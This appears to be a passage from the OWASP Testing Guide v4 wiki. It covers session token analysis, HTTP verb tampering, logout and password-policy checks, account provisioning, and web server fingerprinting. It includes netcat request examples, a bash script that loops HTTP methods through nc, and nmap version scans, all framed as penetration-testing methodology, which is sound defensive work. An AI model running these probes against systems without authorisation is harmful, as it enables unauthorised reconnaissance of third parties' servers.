The approach here is to collect a sufficient number of instances of a cookie and start looking for patterns in their value. The exact meaning of “sufficient” can vary from a handful of samples, if the cookie generation method is very easy to break, to several thousands, if we need to proceed with some mathematical analysis (e.g., chi-squares, attractors. See later for more information).

It is important to pay particular attention to the workflow of the application, as the state of a session can have a heavy impact on collected cookies: a cookie collected before being authenticated can be very different from a cookie obtained after the authentication.

Another aspect to keep into consideration is time: always record the exact time when a cookie has been obtained, when there is the possibility that time plays a role in the value of the cookie (the server could use a timestamp as part of the cookie value). The time recorded could be the local time or the server's timestamp included in the HTTP response (or both).

Analyzing the collected values, try to figure out all variables that could have influenced the cookie value and try to vary them one at the time. Passing to the server modified versions of the same cookie can be very helpful in understanding how the application reads and processes the cookie.

Examples of checks to be performed at this stage include:
* What character set is used in the cookie? Has the cookie a numeric value? alphanumeric? hexadecimal? What happens if we insert in a cookie characters that do not belong to the expected charset?
* Is the cookie composed of different sub-parts carrying different pieces of information? How are the different parts separated? With which delimiters? Some parts of the cookie could have a higher variance, others might be constant, others could assume only a limited set of values. Breaking down the cookie to its base components is the first and fundamental step. An example of an easy-to-spot structured cookie is the following:

<pre>
ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=1120514521:S=j3am5KzC4v01ba3q
</pre>

In this example we see 5 different fields, carrying different types of data:

<pre>
ID – hexadecimal
CR – small integer
TM and LM – large integer. (And curiously they hold the same value. Worth to see what happens modifying one of them)
S – alphanumeric
</pre>

Even when no delimiters are used, having enough samples can help. As an example, let's look at the following series:

<pre>
0123456789abcdef
</pre>

===Brute Force Attacks===
Brute force attacks inevitably lead on from questions relating to predictability and randomness.
The variance within the Session IDs must be considered together with application session durations and timeouts. If the variation within the Session IDs is relatively small, and Session ID validity is long, the likelihood of a successful brute-force attack is much higher.
A long Session ID (or rather one with a great deal of variance) and a shorter validity period would make it far harder to succeed in a brute force attack.
* How long would a brute-force attack on all possible Session IDs take?
* Is the Session ID space large enough to prevent brute forcing? For example, is the length of the key sufficient when compared to the valid life-span?
* Do delays between connection attempts with different Session IDs mitigate the risk of this attack?

== Gray Box testing and example ==
If you have access to the session management schema implementation, you can check for the following:
* Random Session Token
The Session ID or Cookie issued to the client should not be easily predictable (don't use linear algorithms based on predictable variables such as the client IP address). The use of cryptographic algorithms with key length of 256 bits is encouraged (like AES).
* Token length
Session ID will be at least 50 characters length.
* Session Time-out
Session token should have a defined time-out (it depends on the criticality of the application managed data)
* Cookie configuration:
** non-persistent: only RAM memory
** secure (set only on HTTPS channel): Set Cookie: cookie=data; path=/; domain=.aaa.it; secure
** [[HTTPOnly]] (not readable by a script): Set Cookie: cookie=data; path=/; domain=.aaa.it; [[HTTPOnly]]
More information here: [[Testing_for_cookies_attributes (OWASP-SM-002)|Testing for cookies attributes]]

==References==
'''Whitepapers''' 
* RFC 2965 “HTTP State Management Mechanism”
* RFC 1750 “Randomness Recommendations for Security”
* Michal Zalewski: "Strange Attractors and TCP/IP Sequence Number Analysis" (2001): http://lcamtuf.coredump.cx/oldtcp/tcpseq.html
* Michal Zalewski: "Strange Attractors and TCP/IP Sequence Number Analysis - One Year Later" (2002): http://lcamtuf.coredump.cx/newtcp/
* Correlation Coefficient: http://mathworld.wolfram.com/CorrelationCoefficient.html
* Darrin Barrall: "Automated Cookie Analysis" – http://www.spidynamics.com/assets/documents/SPIcookies.pdf
* ENT: http://fourmilab.ch/random/
* http://seclists.org/lists/fulldisclosure/2005/Jun/0188.html
* Gunter Ollmann: "Web Based Session Management" - http://www.technicalinfo.net
* Matteo Meucci:"MMS Spoofing" - http://www.owasp.org/images/7/72/MMS_Spoofing.ppt

 
'''Tools''' 
* OWASP Zed Attack Proxy Project (ZAP) - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project - features a session token analysis mechanism.
* Burp Sequencer - http://www.portswigger.net/suite/sequencer.html
* Foundstone CookieDigger - http://www.mcafee.com/us/downloads/free-tools/cookiedigger.aspx

 
'''Videos''' 
* Session Hijacking in Webgoat Lesson - http://yehg.net/lab/pr0js/training/view/owasp/webgoat/WebGoat_SessionMan_SessionHijackingWithJHijack/

Testing for HTTP Verb Tampering (OTG-INPVAL-003)

2014-03-06T16:36:33Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
 
The HTTP specification includes request methods other than the de-facto standard GET and POST requests. A standards compliant web server may respond to these alternative methods in ways not anticipated by developers.

Although the common description is 'verb' tampering, the HTTP 1.1 standard refers to these request types as different HTTP 'methods.'
 
== Description of the Issue ==
 
The full HTTP 1.1 specification [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html] defines the following valid HTTP request methods, or verbs:
<pre>
OPTIONS
GET
HEAD
POST
PUT
DELETE
TRACE
CONNECT
</pre>

However, most web applications only need to respond to GET and POST requests - providing user data in the URL query string or appended to the request, respectively. The standard <code><a href=""></a></code> style links trigger a GET request; form data submitted via <code><form method='POST'></form></code> trigger POST requests. Forms defined without a method also send data via GET by default.

Oddly, the other valid HTTP methods are not supported by the HTML standard [http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.1]. Any HTTP method other than GET or POST needs to be calletd outside the HTML document. However, JavaScript and AJAX calls may send methods other than GET and POST.

As long as the web application being tested does not specifically call for any non-standard HTTP methods, testing for HTTP verb tampering is quite simple. If the server accepts a request other than GET or POST, the test fails. The solutions is to disable all non GET or POST functionality within the web application server, or in a web application firewall.

If methods such as HEAD or OPTIONS are required for your application, this increases the burden of testing substantially. Each action within the system will need to be verified that these alternate methods do not trigger actions without proper authentication or reveal information about the contents or workings web application. If possible, limit alternate HTTP method usage to a single page that contains no user actions, such the default landing page (example: index.html).

 
== Black Box testing and example ==
 Because the HTML standard does not support request methods other than GET or POST, we will need to craft custom HTTP requests to test the other methods. We highly recommend using a tool to do this, although we will demonstrate how to do manually as well. 

===Manual HTTP verb tampering testing===

This example is written using the netcat package from openbsd (standard with most Linux distributions). You may also use telnet (included with Windows) in a similar fashion.

1. Crafting custom HTTP requests
<blockquote>
Each HTTP 1.1 request follows the following basic formatting and syntax. Elements surrounded by brackets <code>[ ]</code> are contextual to your application. The empty newline at the end is required.
<pre>
[METHOD] /[index.htm] HTTP/1.1
host: [www.example.com]

</pre>
In order to craft separate requests, you can manually type each request into netcat or telnet and examine the response. However, to speed up testing, you may also store each request in a separate file. This second approach is what we'll demonstrate in these examples. Use your favorite editor to create a text file for each method. Modify for your application's landing page and domain.
</blockquote>
1.1 OPTIONS
<blockquote>
<pre>
OPTIONS /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.2 GET
<blockquote>
<pre>
GET /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.3 HEAD
<blockquote>
<pre>
HEAD /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.4 POST
<blockquote>
<pre>
POST /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.5 PUT
<blockquote>
<pre>
PUT /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.6 DELETE
<blockquote>
<pre>
DELETE /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.7 TRACE
<blockquote>
<pre>
TRACE /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.8 CONNECT
<blockquote>
<pre>
CONNECT /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
2. Sending HTTP requests
<blockquote>
For each method and/or method text file, send the request to your web server via netcat or telnet on port 80 (HTTP):
<pre>nc www.example.com 80 < OPTIONS.http.txt</pre>
</blockquote>
3. Parsing HTTP responses
<blockquote>
Although each HTTP method can potentially return different results, there is only a single valid result for all methods other than GET and POST. The web server should either ignore the request completely or return an error. Any other response indicates a test failure - the server is responding to methods/verbs that are unnecessary. Disable them.

 
An example of a failed test (ie, the server supports OPTIONS despite no need for it):
 
[[File:OPTIONS_verb_tampering.png]]
</blockquote>

===Automated HTTP verb tampering testing===
If you are able to analyze your application via simple HTTP status codes (200 OK, 501 Error, etc) - then the following bash script will test all available HTTP methods.
<pre>
#!/bin/bash

for webservmethod in GET POST PUT TRACE CONNECT OPTIONS PROPFIND;

do
printf "$webservmethod " ;
printf "$webservmethod / HTTP/1.1\nHost: $1\n\n" | nc -q 1 $1 80 | grep "HTTP/1.1"

done
</pre>
Code copied verbatim from the Penetration Testing Lab blog [http://pentestlab.wordpress.com/2012/12/20/http-methods-identification/]

== References ==
'''Whitepapers'''
* Arshan Dabirsiaghi: “Bypassing URL Authentication and Authorization with HTTP Verb Tampering” - https://www.aspectsecurity.com/wp-content/plugins/download-monitor/download.php?id=18

Testing for logout functionality (OTG-SESS-006)

2014-03-06T16:35:24Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
Session termination is an important part of the session lifecycle. Minimizing the life time of a sessions reduces the probability of the success of session hijacking and other attacks like Cross Site Scripting and Cross Site Request Forgery, which are often targeted against users to access sensible data or functionality which is available in the vulnerable application in authenticated sessions. A secure session termination requires at least the following components:

* Availability of user interface controls for manual logouts performed by the user.
* Session termination after a given amount of time without activity (session timeout).
* Proper invalidation of server-side session state.

== Description of the Issue ==
There are multiple issues which can prevent the effective termination of a session. At the first place the user should be able to terminate the session at every time while usage of the web application. Every page should contain a logout button on a place where it is directly visible. Unclear or ambiguous logout functions could cause that the user don't use it.

Another common mistake in session termination is, that the client-side session token is set to a new value while the server-side state remains active and can be reused by setting the session cookie back to the previous value. Sometimes only a confirmation message is shown to the user without performing any further action.

Users of web browsers often don't mind that an application is still open and just close the browser or a tab. A web application should be aware of this behavior and terminate the session automatically on the server-side after a defined amount of time.

The usage of a single sign-on (SSO) system instead of an application-specific authentication scheme often causes the coexistence of multiple sessions which have to be terminated separately. For instance, the termination of the application-specific session does not terminate the session in the SSO system. Navigating back to the SSO portal offers the user the possibility to relogin back to the application where the logout was performed just before. On the other side a logout function in a SSO system does not necessarily causes session termination in connected applications.

== Black Box testing and example ==
'''Testing for logout user interface:''' 
Verify the appearance and visibility of the logout functionality in the user interface. For this purpose, view each page from the perspective of an user who has the intention to logout from the web application.

'''Result Expected:''' 
There are some properties which indicate a good logout user interface:
* A logout button is present on all pages of the web application.
* The logout button should be identified quickly by an user which wants to logout from the web application.
* After loading of a page the logout button should be visible without scrolling.
* Ideally the logout button is placed in an area of the page, which is fixed in the view port of the browser and not affected by scrolling of the content. 

'''Testing for server-side session termination:''' 
First, store the values of cookies which are used to identify a session. Invoke the logout function and observe the behavior of the application, especially regarding session cookies. Try to navigate to a page which is only visible in an authenticated session, e.g. by usage of the back button of the browser. If a cached version of the page is displayed, use the reload button to refresh the page from the server. If the logout function causes that session cookies are set to a new value, restore the old value of the session cookies and reload a page from the authenticated area of the application. If these test don't show any vulnerabilities on a particular page, try at least some further pages of the application which are considered as security-critical, to ensure that session termination is recognized properly by these areas of the application.

'''Result Expected:''' 
No data which should be visible only by authenticated users should be visible on the examined pages while performing the tests. Ideally the application redirects to a public area or a login form while accessing authenticated areas after termination of the session.

It should be not necessary for the security of the application, but setting session cookies to new values after logout is generally considered as good practice. 

'''Testing for session timeout:''' 
Try to determine a session timeout by performing requests to a page in the authenticated area of the web application with increasing delays. If the logout behavior appears, the used delay matches approximately the session timeout value.

'''Result Expected:''' 
The same results as for server-side session termination testing described before are excepted by a logout caused by an inactivity timeout.

The proper value for the session timeout highly depends on the purpose of the application and should be a balance of security and usability. In a banking applications it makes normally no sense to keep an inactive session more than 15 minutes. On the other side a short timeout in a wiki or forum could annoy users which are typing lengthy articles with unnecessary login requests. There timeouts of an hour and more can be acceptable. 

'''Testing for session termination in single sign-on environments (single sign-off):''' 
Perform a logout in the tested application. Verify if there is a central portal or application directory which allows the user to relogin to the application without authentication. Test if the application requests the user to authenticate, if the URL of an entry point to the application is requested.

While logged in in the tested application, perform a logout in the SSO system. Then try to access an authenticated area of the tested application.

'''Result Expected:''' 
It is expected that the invocation of a logout function in a web application connected to a SSO system or in the SSO system itself causes global termination of all sessions. An authentication of the user should be required to gain access to the application after logout in the SSO system and connected application. 

== References ==
'''Whitepapers'''
* "The FormsAuthentication.SignOut method does not prevent cookie reply attacks in ASP.NET applications" - http://support.microsoft.com/default.aspx?scid=kb;en-us;900111
 
'''Tools'''
* "Burp Suite - Repeater" - http://portswigger.net/burp/repeater.html

Testing for Weak password policy (OTG-AUTHN-007)

2014-03-06T16:34:08Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Summary ==

The most prevalent and most easily administered authentication mechanism is the humble password. The password represents the keys to the kingdom, but is often subverted by users in the name of usability. In each of the recent high profile hacks that have revealed user credentials, it is lamented that most common passwords are still: 123456, password and qwerty.

== Test objectives ==

Determine the resistance of the application's to brute force password guessing using available password dictionaries by evaluating the length, complexity, reuse and aging requirements of passwords.

== How to test ==

# What characters are permitted and forbidden for use within a password?
# How often can a user change their password?
# When must a user change their password? After 90 days? After account lockout due to excessive logon attempts?
# How often can a user reuse a password? Does the application store the user's previous 8 passwords?
# How different must the next password be from the last password (or however many are stored by the application)?

=== Example ===

== Tools ==

== References ==

See the OWASP article on [[Brute_force_attack|Brute Force]] Attacks.

== Remediation ==

To mitigate the risk of easily guessed passwords facilitating unauthorised access there are two solutions: introduce additional authentication controls or introduce a password policy. The simplest and cheapest of these is the introduction of a password policy that ensures password length, complexity, reuse and aging.

Test Account Provisioning Process (OTG-IDENT-003)

2014-03-06T16:32:40Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Summary ==

The provisioning of accounts presents an opportunity for an attacker to create a valid account without application of the proper identification and authorization process.

== Test objectives ==

Verify which accounts may provision other accounts and of what type

== How to test ==

Determine which roles are able to provision users and what sort of accounts they can provision.

Is there any verification, vetting and authorisation of provisioning requests?

Is there any verification, vetting and authorisation of de-provisioning requests?

Can an administrator provision other administrators or just users?

Can an administrator or other user provision accounts with privileges greater than their own?

Can an administrator/user deprovision themselves?

How are the files/resources owned by the de-provisioned user managed? Are they deleted? Is access transferred?

=== Example ===

In Wordpress, only a user's name and email address are required to provision the user, which can be done by
[[File:Wordpress_useradd.png|800px]]

De-provisioning of users requires the administrator to select the users to be de-provisioned, selecting Delete from the dropdown menu (circled) and then applying this action. The administrator is then presented with a dialog box asking what to do with the user's posts (delete or transfer them).
[[File:Wordpress_authandusers.png|800px]]

== Tools ==

While the most thorough and accurate approach to completing this test is to conduct it manually, HTTP proxy tools could be also useful.

Fingerprint Web Application (OTG-INFO-009)

2014-03-06T16:31:10Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Summary ==
Web server fingerprinting is a critical task for the Penetration tester. Knowing the version and type of a running web server allows testers to determine known vulnerabilities and the appropriate exploits to use during testing.

There are several different vendors and versions of web servers on the market today. Knowing the type of web server that you are testing significantly helps in the testing process, and will also change the course of the test. This information can be derived by sending the web server specific commands and analyzing the output, as each version of web server software may respond differently to these commands. By knowing how each type of web server responds to specific commands and keeping this information in a web server fingerprint database, a penetration tester can send these commands to the web server, analyze the response, and compare it to the database of known signatures. Please note that it usually takes several different commands to accurately identify the web server, as different versions may react similarly to the same command. Rarely, however, different versions react the same to all HTTP commands. So, by sending several different commands, you increase the accuracy of your guess.

== Test Objectives ==

Identify the version and type of the running web server to determine known vulnerabilities and the appropriate exploits to use during the testing.

== How to Test ==

=== Black Box testing and example ===
The simplest and most basic form of identifying a Web server is to look at the Server field in the HTTP response header. For our experiments we use netcat.
Consider the following HTTP Request-Response:
<pre>
$ nc 202.41.76.251 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 16 Jun 2003 02:53:29 GMT
Server: Apache/1.3.3 (Unix) (Red Hat/Linux)
Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT
ETag: "1813-49b-361b4df6"
Accept-Ranges: bytes
Content-Length: 1179
Connection: close
Content-Type: text/html
</pre>

From the ''Server'' field, we understand that the server is likely Apache, version 1.3.3, running on Linux operating system.

Four examples of the HTTP response headers are shown below.

From an '''Apache 1.3.23''' server:
<pre>
HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10: 49 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML
</pre>

From a '''Microsoft IIS 5.0''' server:
<pre>
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Expires: Yours, 17 Jun 2003 01:41: 33 GMT
Date: Mon, 16 Jun 2003 01:41: 33 GMT
Content-Type: text/HTML
Accept-Ranges: bytes
Last-Modified: Wed, 28 May 2003 15:32: 21 GMT
ETag: b0aac0542e25c31: 89d
Content-Length: 7369
</pre>

From a '''Netscape Enterprise 4.1''' server:
<pre>
HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:19: 04 GMT
Content-type: text/HTML
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Content-length: 57
Accept-ranges: bytes
Connection: close
</pre>

From a '''SunONE 6.1''' server:
<pre>
HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 16 Jan 2007 14:53:45 GMT
Content-length: 1186
Content-type: text/html
Date: Tue, 16 Jan 2007 14:50:31 GMT
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT
Accept-Ranges: bytes
Connection: close
</pre>
However, this testing methodology is not so good. There are several techniques that allow a web site to obfuscate or to modify the server banner string.
For example we could obtain the following answer:
<pre>
403 HTTP/1.1 Forbidden
Date: Mon, 16 Jun 2003 02:41: 27 GMT
Server: Unknown-Webserver/1.0
Connection: close
Content-Type: text/HTML; charset=iso-8859-1
</pre>

In this case, the server field of that response is obfuscated: we cannot know what type of web server is running.

==== Protocol behaviour ====
More refined techniques take in consideration various characteristics of the several web servers available on the market. We will list some methodologies that allow us to deduce the type of web server in use.

'''HTTP header field ordering'''

The first method consists of observing the ordering of the several headers in the response. Every web server has an inner ordering of the header. We consider the following answers as an example:

Response from '''Apache 1.3.23'''
<pre>
$ nc apache.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:10: 49 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML
</pre>
Response from '''IIS 5.0'''
<pre>
$ nc iis.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: http://iis.example.com/Default.htm
Date: Fri, 01 Jan 1999 20:13: 52 GMT
Content-Type: text/HTML
Accept-Ranges: bytes
Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT
ETag: W/e0d362a4c335be1: ae1
Content-Length: 133
</pre>
Response from '''Netscape Enterprise 4.1'''
<pre>
$ nc netscape.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:01: 40 GMT
Content-type: text/HTML
Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT
Content-length: 57
Accept-ranges: bytes
Connection: close
</pre>
Response from a '''SunONE 6.1'''
<pre>
$ nc sunone.example.com 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 16 Jan 2007 15:23:37 GMT
Content-length: 0
Content-type: text/html
Date: Tue, 16 Jan 2007 15:20:26 GMT
Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT
Connection: close
</pre>
We can notice that the ordering of the ''Date'' field and the ''Server'' field differs between Apache, Netscape Enterprise, and IIS.

'''Malformed requests test'''

Another useful test to execute involves sending malformed requests or requests of nonexistent pages to the server.
Consider the following HTTP responses.

Response from '''Apache 1.3.23'''
<pre>
$ nc apache.example.com 80
GET / HTTP/3.0

HTTP/1.1 400 Bad Request
Date: Sun, 15 Jun 2003 17:12: 37 GMT
Server: Apache/1.3.23
Connection: close
Transfer: chunked
Content-Type: text/HTML; charset=iso-8859-1
</pre>
Response from '''IIS 5.0'''
<pre>
$ nc iis.example.com 80
GET / HTTP/3.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Content-Location: http://iis.example.com/Default.htm
Date: Fri, 01 Jan 1999 20:14: 02 GMT
Content-Type: text/HTML
Accept-Ranges: bytes
Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT
ETag: W/e0d362a4c335be1: ae1
Content-Length: 133
</pre>
Response from '''Netscape Enterprise 4.1'''
<pre>
$ nc netscape.example.com 80
GET / HTTP/3.0

HTTP/1.1 505 HTTP Version Not Supported
Server: Netscape-Enterprise/4.1
Date: Mon, 16 Jun 2003 06:04: 04 GMT
Content-length: 140
Content-type: text/HTML
Connection: close
</pre>
Response from a '''SunONE 6.1'''
<pre>
$ nc sunone.example.com 80
GET / HTTP/3.0

HTTP/1.1 400 Bad request
Server: Sun-ONE-Web-Server/6.1
Date: Tue, 16 Jan 2007 15:25:00 GMT
Content-length: 0
Content-type: text/html
Connection: close
</pre>
We notice that every server answers in a different way. The answer also differs in the version of the server. Similar observations can be done we create requests with a non-existent protocol. Consider the following responses:

Response from '''Apache 1.3.23'''
<pre>
$ nc apache.example.com 80
GET / JUNK/1.0

HTTP/1.1 200 OK
Date: Sun, 15 Jun 2003 17:17: 47 GMT
Server: Apache/1.3.23
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
ETag: 32417-c4-3e5d8a83
Accept-Ranges: bytes
Content-Length: 196
Connection: close
Content-Type: text/HTML
</pre>
Response from '''IIS 5.0'''
<pre>
$ nc iis.example.com 80
GET / JUNK/1.0

HTTP/1.1 400 Bad Request
Server: Microsoft-IIS/5.0
Date: Fri, 01 Jan 1999 20:14: 34 GMT
Content-Type: text/HTML
Content-Length: 87
</pre>
Response from '''Netscape Enterprise 4.1'''
<pre>
$ nc netscape.example.com 80
GET / JUNK/1.0

<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>
Your browser sent to query this server could not understand.
</BODY></HTML>
</pre>
Response from a '''SunONE 6.1'''
<pre>
$ nc sunone.example.com 80
GET / JUNK/1.0

<HTML><HEAD><TITLE>Bad request</TITLE></HEAD>
<BODY><H1>Bad request</H1>
Your browser sent a query this server could not understand.
</BODY></HTML>
</pre>

== Tools ==
* httprint - http://net-square.com/httprint.html
* httprecon - http://www.computec.ch/projekte/httprecon/
* Netcraft - http://www.netcraft.com
* Desenmascarame - http://desenmascara.me
* Shodan - http://www.shodanhq.com
* Nmap - http://nmap.org

=== Automated Testing ===
Rather than rely on manual bannering and analysis of the web server headers, a tester can use automated tools to achieve the same purpose. The tests to carry out in order to accurately fingerprint a web server can be many. Luckily, there are tools that automate these tests. "''httprint''" is one of such tools. httprint has a signature dictionary that allows one to recognize the type and the version of the web server in use. 
An example of running httprint is shown below: 

[[Image:httprint.jpg |800px|]]

[http://www.nmap.org Nmap] version detection offers a lot of advanced features that can help in determining services that are running on a given host, it obtains all data by connecting to open ports and interrogating them by using probes that the specific services understand, the following example shows how Nmap connected to port 80 in order to fingerprint the service and its current version

<pre>
localhost$ nmap -sV example.com
Starting Nmap 6.40 ( http://nmap.org ) at 2013-09-21 13:20 GST
Nmap scan report for example.com (127.0.0.1)
Host is up (0.028s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
</pre>

=== Online Testing ===
Online tools can be used if the tester wishes to test more stealthily and doesn't wish to directly connect to the target website. An example of online tool that often delivers a lot of information on target Web Server, are [http://www.netcraft.com Netcraft] and [http://www.shodanhq.com SHODAN]

With [http://www.netcraft.com Netcraft] we can retrieve information about operating system, web server used, Server Uptime, Netblock Owner, history of change related to Web server and O.S. An example is shown below:
 

[[Image:netcraft2.png |800px|]]

[http://www.shodanhp.com SHODAN] combines an HTTP port scanner with a search engine index of the HTTP responses, making it trivial to find specific web servers. Shodan collects data mostly on web servers at the moment (HTTP port 80), but there is also some data from FTP (21), SSH (22) Telnet (23), SNMP (161) and SIP (5060) services. An example is shown below:
 

[[File:Shodan.png |800px|]]

[[OWASP Unmaskme Project]] expect becomes another online tool to do fingerprinting in any website with an overall interpretation of all the [[Web-metadata]] extracted. The idea behind this project is that anyone in charge of a website could test the metadata their site is showing to the world and assess it from a security point of view.
While this project is being developed, you can test a [http://desenmascara.me/ Spanish Proof of Concept of this idea].

== Vulnerability References ==
'''Whitepapers''' 
* Saumil Shah: "An Introduction to HTTP fingerprinting" - http://www.net-square.com/httprint_paper.html
* Anant Shrivastava : "Web Application Finger Printing" - http://anantshri.info/articles/web_app_finger_printing.html
* Nmap "Service and Application Version Detection" - http://nmap.org/book/vscan.html

== Remediation ==

Protect the presentation layer web server behind a hardened reverse proxy.

Obfuscate the presentation layer web server headers.
* Apache
* IIS

Map execution paths through application (OTG-INFO-007)

2014-03-06T16:29:48Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Summary ==

Before commencing security testing, understanding the structure of the application is paramount. Without a thorough understanding of the layout of the application, it is unlkely that it will be tested thoroughly.

== Test Objectives ==

Map the target application and understand the principal workflows.

== How to Test ==

In black box testing it is extremely difficult to test the entire code base. Not just because the tester has no view of the code paths through the application, but even if they did, to test all code paths would be very time consuming. One way to reconcile this is to document what code paths were discovered and tested.

There are several ways to approach the testing and measurement of code coverage:

* '''Path''' - test each of the paths through an application which includes combinatorial and boundary value analysis testing for each decision path. While this approach offers thoroughness, the number of testable paths grows exponentially with each decision branch.
* '''Data flow (or taint analysis)''' - tests the assignment of variables via external interaction (normally users). Focuses on mapping the flow, transformation and use of data throughout an application.
* '''Race''' - tests multiple concurrent instances of the application manipulating the same data.

The trade off as to what method is used and to what degree each method is used should be negotiated with the application owner. Simpler approaches could also be adopted, including asking the application owner what functions or code sections they are particularly concerned about and how those code segments can be reached.

''' Black Box testing '''

The demonstrate code coverage to the application owner the tester can start with a spreadsheet and documenting the links discovered by spidering the application (either manually or automatically). Then the tester can being looking more closely at decision points in the application and investigating how many significant code paths are discovered, documenting them in the spreadsheet with URLs, prose and screenshot descriptions of the paths discovered.

''' Gray/White Box testing '''

Ensuring sufficient code coverage for the application owner is far easier with the gray and white box approach to testing. Information solicited by and provided to the tester will ensure the minimum requirements for code coverage are met.

=== Example ===

''' Automatic Spidering '''

The automatic spider is a tool than is used to automatically discover new resources (URLs) on a particular Site. It begins with a list of URLs to visit, called the seeds, which depends on how the Spider is started. While there are a lot of Spidering tools, we will use the [https://code.google.com/p/zaproxy/ Zed Attack Proxy (ZAP)] in the following example

[[File:OWASPZAPSP.png |1050px|]]

[https://code.google.com/p/zaproxy/ ZAP] offers the following automatic spidering features, which can be selected based on the tester needs

*Spider Site - The seed list contains all the existing URIs already found for the selected site.
*Spider Subtree - The seed list contains all the existing URIs already found and present in the subtree of the selected node.
*Spider URL - The seed list contains only the URI corresponding to the selected node (in the Site Tree).
*Spider all in Scope - The seed list contains all the URIs the user has selected as being 'In Scope'.

== Tools ==

* [https://code.google.com/p/zaproxy/ Zed Attack Proxy (ZAP)]

* [http://en.wikipedia.org/wiki/List_of_spreadsheet_software List of spreadsheet software]

* [http://en.wikipedia.org/wiki/Diagramming_software Diagramming software]

== Vulnerability References ==

'''Whitepapers'''

[1] http://en.wikipedia.org/wiki/Code_coverage

== Remediation ==

Review webpage comments and metadata for information leakage (OTG-INFO-005)

2014-03-06T16:24:54Z

Davide Danelon:

{{Template:OWASP Testing Guide v4}}

== Summary ==

It is very common, and even recommended, for programmers to include detailed comments and metadata on their source code. However, comments and metadata included into the HTML code might reveal, to a potential attacker, internal information that should not be available to them. Comments and metadata review should be done in order to determine if any information is being leaked.

== Test Objectives ==

Review webpage comments and metadata to better understand the application and to find any information leakage.

== How to Test ==

=== Black Box testing and example ===

Check HTML version information for valid version numbers and Data Type Definition (DTD) URLs

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

* "strict.dtd" -- default strict DTD
* "loose.dtd" -- loose DTD
* "frameset.dtd" -- DTD for frameset documents

Some Meta tags do not provide active attack vectors but instead allow an attacker to profile an application to

<META name="Author" content="Andrew Muller">

Some Meta tags alter HTTP response headers, such as http-equiv which sets an HTTP response header based on the the content attribute of a meta element, such as:

<META http-equiv="Expires" content="Fri, 21 Dec 2012 12:34:56 GMT">

which will result in the HTTP header:

Expires: Fri, 21 Dec 2012 12:34:56 GMT

and

<META http-equiv="Cache-Control" content="no-cache">

will result in

Cache-Control: no-cache

Test to see if this can be used to conduct injection attacks (e.g. CRLF attack). It can also help determine the level of data leakage via the browser cache.

A common (but not WCAG compliant) Meta tag is the refresh.

<META http-equiv="Refresh" content="15;URL=https://www.owasp.org/index.html">

A common use for Meta tag is to specify keywords that a search engine may use to improve the quality of search results.

<META name="keywords" lang="en-us" content="OWASP, security, sunshine, lollipops">

Although most webservers manage search engine indexing via the robots.txt file, it can also be managed by Meta tags. The tag below will advise robots to not index and not follow links on the HTML page containing the tag.

<META name="robots" content="none">

The Platform for Internet Content Selection (PICS) and Protocol for Web Description Resources (POWDER) provide infrastructure for associating meta data with Internet content.

examples

=== Gray Box testing and example ===
Not applicable.

==Tools==

* Wget
* Browser "view source" function
* Eyeballs
* Curl

== References ==
'''Whitepapers'''

[1] http://www.w3.org/TR/1999/REC-html401-19991224 HTML version 4.01

[2] http://www.w3.org/TR/2010/REC-xhtml-basic-20101123/ XHTML (for small devices)

[3] http://www.w3.org/TR/html5/ HTML version 5

Fingerprint Web Server (OTG-INFO-002)

2014-03-04T17:46:10Z

Davide Danelon:

